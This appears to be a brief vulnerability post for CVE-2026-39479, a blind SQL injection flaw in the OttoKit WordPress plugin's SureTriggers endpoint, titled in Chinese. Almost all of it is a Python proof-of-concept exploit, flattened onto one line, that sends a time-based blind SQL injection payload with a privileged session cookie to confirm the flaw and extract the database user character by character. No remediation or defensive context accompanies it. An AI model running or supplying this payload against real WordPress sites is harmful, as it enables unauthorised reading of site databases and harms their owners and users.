CVE-2026-39479: OttoKit存在盲注SQL注入漏洞

import requests import time # Target URL (Example) target_url = "http://example.com/wp-admin/admin.php?page=suretriggers_endpoint" # Attacker's Cookies (High privilege session required) cookies = { "wordpress_logged_in_xxx": "attacker_session_cookie" } # Payload for Time-Based Blind SQL Injection # Checking if the first character of the database user is 'a' (ASCII 97) payload = { "id": "1 AND (SELECT SUBSTRING(user(),1,1)) = CHAR(97) AND SLEEP(5)-- " } start_time = time.time() response = requests.get(target_url, params=payload, cookies=cookies) end_time = time.time() if end_time - start_time >= 5: print("[+] Vulnerability confirmed! Condition was true (Response delayed).") else: print("[-] Condition false or not vulnerable.")